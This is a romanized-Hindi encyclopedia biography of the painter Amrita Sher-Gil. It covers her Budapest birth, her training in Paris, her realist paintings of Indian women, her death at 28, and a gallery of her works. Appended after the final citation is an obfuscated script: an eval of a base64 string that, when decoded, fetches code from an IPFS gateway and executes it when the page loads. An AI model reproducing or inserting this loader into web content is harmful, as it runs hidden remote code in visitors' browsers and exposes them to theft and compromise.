अमृता शेरगिल
amrita sheragil
| |
| poora nam | amrita sheragil |
| janm | 30 janavari, 1913 |
| janm bhoomi | budapest, hangari |
| mrityu | 5 disambar, 1941 (umr- 28) |
| mrityu sthan | lahaur, pakistan |
| abhibhavak | umarav sianh sheragil aur meri eantoni gotsaman |
| pati/patni | d aau. viktar igan |
| karm bhoomi | bharat |
| karm-kshetr | chitrakari |
| nagarikata | bharatiy |
| any janakari | inaki chitrakari ko dharohar manakar dilli ki 'neshanal gaileri' mean saheja gaya hai. |
amrita sher-gil (aangrezi: Amrita Sher-Gil, janm: 30 janavari, 1913 mrityu: 5 disambar, 1941) khoobasoorat chitrakari karane vale chitrakaroan mean se ek thian. amrita sheragil ne kainavas par bharat ki ek nee tasvir ukeri. apani peantiangs ke bare mean amrita ka kahana tha- 'maianne bharat ki atma ko ek naya roop diya hai. yah parivartan sirph vishay ka nahian, balki takaniki bhi hai.' amrita ne is prakar ke yatharthavadi chitroan ki rachana ki thi, jinaki sare sansar mean charcha huee.
janm tatha shiksha
amrita sheragil majitha ke umarav sianh sheragil ki putri thian. unaka janm hangari ki rajadhani budapest mean san 1913 mean hua tha. unaki mata ek hangiriyan mahila thian. umarav sianh jab fraans ge to unhoanne apani putri ki shiksha ke lie peris mean prabandh kiya. jab ve peris ke ek prasiddh art skool mean shiksha prapt kar rahi thian to unake man mean apane kuchh sambandhiyoan ke karan bharat ane ki ichchha jagrit huee. 1921 mean unhoanne itali ke florens nagar mean chitrakala ki shiksha li, vahaan unhoanne ek nagn mahila ka chitran kiya tha. isake karan unhean skool se nikal diya gaya. ve ab tak anubhav kar chuki thian ki unake jivan ka vastavik dhyey chitrakar banana hi hai. isalie ve peris mean akar pun: shiksha prapt karane lagian. dhire-dhire unake jivan mean hangari ki chitrakala ka prabhav kam hota gaya aur unaka rujhan vastavikata ki or badhane laga, jisaka praman unake chitroan mean spasht dikhaee deta hai. 'ek yuvak seb liy hue' aur 'aloo chhilane vala' adi unake pramukh chitr haian.
bharat agaman
thumb|amrita sheragil aur inaki bahan iandira|left bharat ane ke bad amrita ne shimala mean apana stoodiyo prarambh kiya aur jis prakar apana svaroop badalakar use bharatiy nari ka banaya, usi prakar aise anyatam chitroan ki rachana ki, jisake karan unaki khyati bahut jaldi phailane lagi. ve apane bharatiy mool ko jagrit karana chahati thian. 1936 mean unhoanne ajanta ka daura kiya, to unake chitran mean phir se badalav aya. unhoanne lambe chau de chitroan ki bajae chhote vastavik chitran ka nirman prarambh kiya. is prakar unhoanne 'bharatiy chitrakala' ko bhi ek nee disha dekar prabhavit kiya. unake bahut se chitr avanindranath thakur aur chugataee ke kary se prabhavit dikhaee dete haian.
yatharthavadi chitrakari
sansar mean bahut tho de vyakti hue haian, jinhoanne apane chhote se jivan mean apane karyakshetr ko ek nayi disha dene ke sath-sath aise kary kie, jinake karan unake nam ko itihas ke prishthoan se prithakh karana atyant kathin hai. amrita sheragil ki visheshata yah hai ki unhoanne chitrakala ke prarambhik kal mean aise yatharthavadi chitroan ki rachana ki, jinaki sansar bhar mean charcha huee. unhoanne bharatiy gramin mahilaoan ko chitrit karane ka aur bharatiy nari ki vastavik sthiti ko chitrit karane ka jo prayatn kiya, vah atyant sarahaniy hai. unake chitroan ki vividhata us samay aur bhi badh gee jab unhoanne dakshin bharat ka daura kiya. 'dakshin bharatiy brahmachari' aur 'dakshin bharatiy gramin', 'bazar ki or jate hue', 'kele bechane vala' adi aise anek chitr is parivartan ko dikhate haian. unaka rujhan bharat ki vastavik adhunikata ki or tha, n ki us samay shaanti niketan mean chal rahe prachin kala aandolan ki or.
nidhan
amrita sheragil ne apani mata ke ek sambandhi se vivah kiya tha, jisaka nam viktar igan tha jo aur peshe se d aauktar tha, parantu unaka vaivahik jivan bahut hi alpakalin raha. keval 28 varsh ki ayu mean ek rahasyapoorn rog ke karan amrita sheragil 'koma' mean chali geean aur madhy ratri ke samay 5 disambar, 1941 ee. ko unaki mrityu ho gee. 28 varsh mean hi unhoanne itana vividhatapoorn kary kar diya tha, jisake karan unhean 20vian sadi ke mahattvapoorn kalakaroan mean gina jata hai.
upalabdhiyaan
amrita ka janm bhale hi hangari mean hua tha, lekin unaki peantiangs bharatiy sanskriti aur usaki atma ka behatarin namoona haian. inaki chitrakari ko dharohar manakar dilli ki 'neshanal gaileri mean saheja gaya hai. amrita jitani khoobasoorat thian, utani hi unaki peantiangs mean naphasat bhi thi. unaki peantiang 'yang garls' ko peris mean 'esosieshan aauf d graiand sailoon' tak pahuanchane ka mauqa mila. yahaan par amrita ki chitrakari ki pradarshani lagi thi. yahaan tak pahuanchane vali vah pahali eshiyaee mahila chitrakar rahi thian. yah gaurav hasil karane vali vah sabase kam umr ki mahila chitrakar thian.
|
|
|
|
|
|
chitr vithika
- chitr:Young Girls, 1932, by Amrita Sher-Gil.jpg
yuva l dakiyaan
- chitr:Camels, 1941, by Amrita Sher-Gil.jpg
ooant
- chitr:Hill Women, a 1935 painting by Amrita Sher-Gil.jpg
paha di auratean
- chitr:Hungarian Market Scene, 1938, a painting by Amrita Sher-Gil.jpg
bazar ka drishy, hangari
- chitr:Three Girls, by Amrita Sher-Gil, 1935.jpg
tin l dakiyaan
- chitr:Two Elephants, by Amrita Sher-Gil, ca 1940.jpg
do hathi
- chitr:Tribal Women, a 1938 painting by Amrita Sher-Gil.jpg
adivasi mahila
- chitr:Bride's Toilet, 1937, by Amrita Sher-Gil.jpg
snanagrih mean dulhan
tika tippani aur sandarbh
bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 44 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>